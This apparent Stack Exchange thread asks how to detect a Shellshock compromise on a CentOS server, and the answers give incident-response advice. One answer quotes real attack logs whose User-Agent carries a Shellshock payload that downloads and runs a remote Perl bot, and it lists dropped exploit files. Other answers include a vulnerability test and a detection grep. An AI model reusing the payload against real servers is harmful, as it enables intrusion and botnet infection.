18

Three questions which I hope someone can help answer:

  1. How do I know if my server is already compromised due to the Shellshock bug ?
  2. If it was compromised, is there a particular folder where I should look for malicious files?
  3. How does a malicious file look like?

I'm running CentOS 6, LEMP stack

10 Answers 10

36

How do I know if my server is already compromised due to the Shellshock bug?

You don't. That's the idea of a security vulnerability. If you had to click Let the crackers in? OK/Cancel it wouldn't be much of a vulnerability.

You may have some luck checking the logs of your attack vectors, but given that so many services are vulnerable and not all of them log every access, it's likely not possible to conclusively find an attack.

If it was compromised, is there a particular folder where I should look for malicious files?

No, a malicious file could be anywhere.

Common rootkits install themselves in /root or / or /tmp or one of the binary paths but really they could be anywhere. They might have a name similar to a real service or something "important" looking like "IPTables" or "kernel-bin" but they could also be random strings of characters or the same name as a genuine binary (just in a different path). You can spot a really obvious rootkit loading in /etc/rc.local or making connections via netstat -neopa. Look for suspicious process names in top -c.

A less common and much more difficult to find rootkit replaces a library or loads itself as a shim library and intercepts system calls. This is almost impossible to find unless you strace/ltrace every single thing running on your system and compare the behaviour with the expected behaviour of a known-good system or source code.

It would be quicker, easier, and more conclusive to just reload the system.

How does a malicious file look like?

Probably like any other regular ELF binary or library. It may also be a script.

In conclusion, if you think there's a possibility that your system has been compromised, treat the system as if it has been compromised and take necessary measures.

  • 14
    +1 "Let the crackers in?" On another note... if you see something named "IPTables" on Linux, be very suspicious. UNIXian is CapsPhobic. – bishop Sep 29 '14 at 16:11
  • if you think there's a possibility that your system has been compromised, treat the system as if it has been compromised and take necessary measures. This means every possible system which has bash installed and a network cable plugged in, right? – Federico Poloni Sep 30 '14 at 17:07
  • @FedericoPoloni Only if someone is able to gain access to your shell via the network. But otherwise you are absolutely right. – scai Oct 1 '14 at 7:26
  • @FedericoPoloni I am not sure if that is a wise choice, because I would have to constantly have all systems down, since I can never be 100% sure that they were not compromised, and seriously nobody can be sure their systems were not compromised unless they are a very optimistic idi*t. If you have the suspicious that your system does not behave the way it should, you should examine it and its network traffic, preferably from A CLEAN OS. I you find no evidence of tampering you don't have to take measures beside fixing the holes. Otherwise we would have to constantly reinstall ALL systems 24x7! – Frank Waller Oct 3 '14 at 10:01
  • @FrankWaller I agree completely. There is always a remote possibility that a system has been compromised and the attacker is skilled enough not to leave any trace, but we cannot reinstall 24x7 to cater to this case. – Federico Poloni Oct 3 '14 at 10:21
20

shellshock isn't a worm so there are no files to look for. Shellshock is a way to attack a network to gain entry. Once inside who knows what the attacker will do.

  • 3
    This answer seems a bit confused to me -- maybe it was dashed off in a hurry, or should be a comment instead of an answer. Sure, it's not a worm (it's a vulnerability, not a piece of malware), but it's not clear why you think that is relevant or why that means "there are no files to look for". Shellshock is not a way to attack a network; it is a way to break into a machine. It's an attack on a machine, not a network. – D.W. Oct 1 '14 at 5:54
  • 2
    @D.W. Granted very succinct, but clearly in direct response to the OP's worry is there a particular folder where I should look for malicious files. – ᴠɪɴᴄᴇɴᴛ Oct 1 '14 at 13:08
5

I have seen one attempt at exploiting the bug, which would install an IRC bot as /var/tmp/x. But in general there are no particular files to look for, since they could be anywhere or nowhere.

If you got compromised through the web server then any new file or process owned by the web server user would be suspicious.

In case an attacker used first the bash bug to enter the system and next a local vulnerability to become root, it could become almost impossible to spot.

Also look at this similar question.

  • +1 for web server user ownership idea – Xan Sep 30 '14 at 21:40
4

I would echo the answer from suprjami and say that if your system is vulnerable then you should treat it as compromised.

If you are running apache you can check the logs for Shellshock intrusion attempts with the following command:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

This command extracts all lines containing "cgi" from Apache's access logs (by default called access_log, access_log.1, access_log.2 etc) then pipes it into egrep with the regex.

(Source: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash)

  • Note that for a default configuration of Apache, this will only show attacks in the destination URL and in the "User-Agent" and "Referer" headers. An attack in a header like "Cookie" or "X-Ploit" won't be logged. – Mark Sep 29 '14 at 19:36
  • 1
    @Mark Absolutely, I should have mentioned that. – Ralph Sep 30 '14 at 8:14
  • 1
    Of course, the first thing any self-respecting attacker would do is erase any hints of the attack from the logs … which is why logs should be write-once and remote! – Jörg W Mittag Sep 30 '14 at 11:09
4

Since there are several attack vectors for Shellshock, some of them yet being unknown for general public or caused by a custom CGI script, there is no definite way to tell if you are compromised or not.

In addition to usual "let's see if some system files have changed or something else suspicious has happened lately" approach you might want to keep your eye on your server behaviour.

  1. Is there suddenly lot more network traffic?
  2. Did the CPU/memory usage change a lot?
  3. Is something eating up the disk space or causing more I/O much more than usually?
  4. Does netstat show strange network connections or ps aux show processes you don't recognize?
  5. Does your server suddenly send out much more e-mail than before?

If you have proper server health monitoring (such as Zabbix) up and running, it can help you finding out security breaches, too. You can also compare the MD5/SHA sums of system files to a known good backup.

Just basically act as your server had been compromised and investigate everything you can think of.

4

I just had the pleasure to clean up a compromised older Plesk system. The first thing that gave it away were numerous processes that were started listening to a number of ports and others trying to download code from the original scanning server.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

Following the logs I found out the ultimate hole was the a cgi_wrapper script, something that was supposed to protect and shield the system is what actually tore the hole into the protection. Here are some of the log lines from probes and the successful attack:

These are the lines from the access_log, as this is just a sample, note the 200 on two of the lines while the other ones fail with 404. You do not have to worry about the lines that have a 404 since these did not succeed, the ones with 200 however did. The pattern on these attacks here is always the same: 1. find a vulnerable cgi script use shellshock exploit to download and execute a perl script, delete the perl script again. The perl script will actually download some source files (tgz) compile them and run them, from what I have seen they include at least a backdoor and a automatic update mechanism, plus what looks like exploits to try and gain elevated execution privileges. All of the initial scripts are actually executed as the user provided by the wrapper while later services are started with a PPID of 1 (started from root process)).

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

And here the corresponding error_log lines:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

Files downloaded to /tmp As one might guess, I do not have the bot.pl file since it is deleted right away.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

After a while I noticed ssh connections from various places like China that usually do not visit our server that much. I patched bash as a emergency measure (would have been nice to have patched sources available from the FSF Website and not just the really OLD sources and patch-files (one of which did not apply correctly at first). System is scheduled for a complete wipe now, so if anyone is looking for something else about the attack, you can ask, but do it soon.

3

This answer is not especially related to Shellshock but for any system you may think compromised

second note: you cannot be sure to have recovered from a compromised to root system. Your only action is to destroy and re-provision the system

Try to get a clean static build of rpm and run command rpm --verify --all. It will tell you which files belonging to a package have been modified. But since you may run it on a compromised system, you may not trust completely the result. Then you may simply do a rpm -qa to get the list of packages, recreate another system with the same packages versions and then a find / -type f |xargs -r -n 100 md5sum |sort on both system and see what differs. Also if you manage your system properly (meaning not installing anything manually outside of /opt or /usr/local/bin or another unmanaged place), you can search for all files in your system which does not belong to a package, with find / -type f -exec rpm -qf {} \;. It should show errors for unknown files. I let you to not show the positives as an exercise ;-)

To do the same periodically with cryptographic proof, there is a tool called Tripwire which you may still find as free version. It is old but does its job. A newer alternative is AIDE, but it was not using crypto when i looked at it years ago.

There are some tools that can help. For example look for package rkhunter. It will scan your computer for known root toolkits, and exploited files.

Obviously these tools should have been installed and configured before the system is compromised, and these tools can also be targeted if your system is successfully hacked to root access. Besides, these tools can be very intensive and slow down your system.

2

The only way to know if your server is compromised is to have somewhere a signature of your files and to compare your current files to it. Nevertheless you can see if you are vulnerable.

  1. you can't. It is reasonnable to assume if your machine is indeed compromised, your usual monitoring tools (ps, top, lsof,...) have been replace with similar tools whose output looks normal, hiding suspicious activity
  2. no. can be in any folder with executable files.
  3. any executable files or scripts (ELF binary, .shell script, ...), including the usual monitoring tools
-3

How to find if your linux box is compromised.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If if returns

vulnerable
this is a test

you are.

To run the update, under root run the following command

sudo yum update bash
  • 16
    -1 This check if the bash is vulnerable, not if it has actually be compromised. – Calimo Sep 29 '14 at 15:20
  • 1
    It also assumes you are running yum and not another package manager. – DavidG Oct 1 '14 at 8:54
-3

You can check if you're vulnerable by running the following commands (code provided by the CSA). Open a terminal window and enter the following command at the $ prompt:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If your bash is NOT up to date, it'll print:

vulnerable
this is a test

If your bash is up to date, you'll only see:

this is a test

More details are available behind this link.

  • 1
    The question was about detecting that a server was compromised, not that it's vulnerable – Gareth Oct 1 '14 at 14:27
  • please consider reading other responses before posting one very similar to a response whose score is low because it does NOT answer the question. – Manu H Oct 2 '14 at 11:48

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.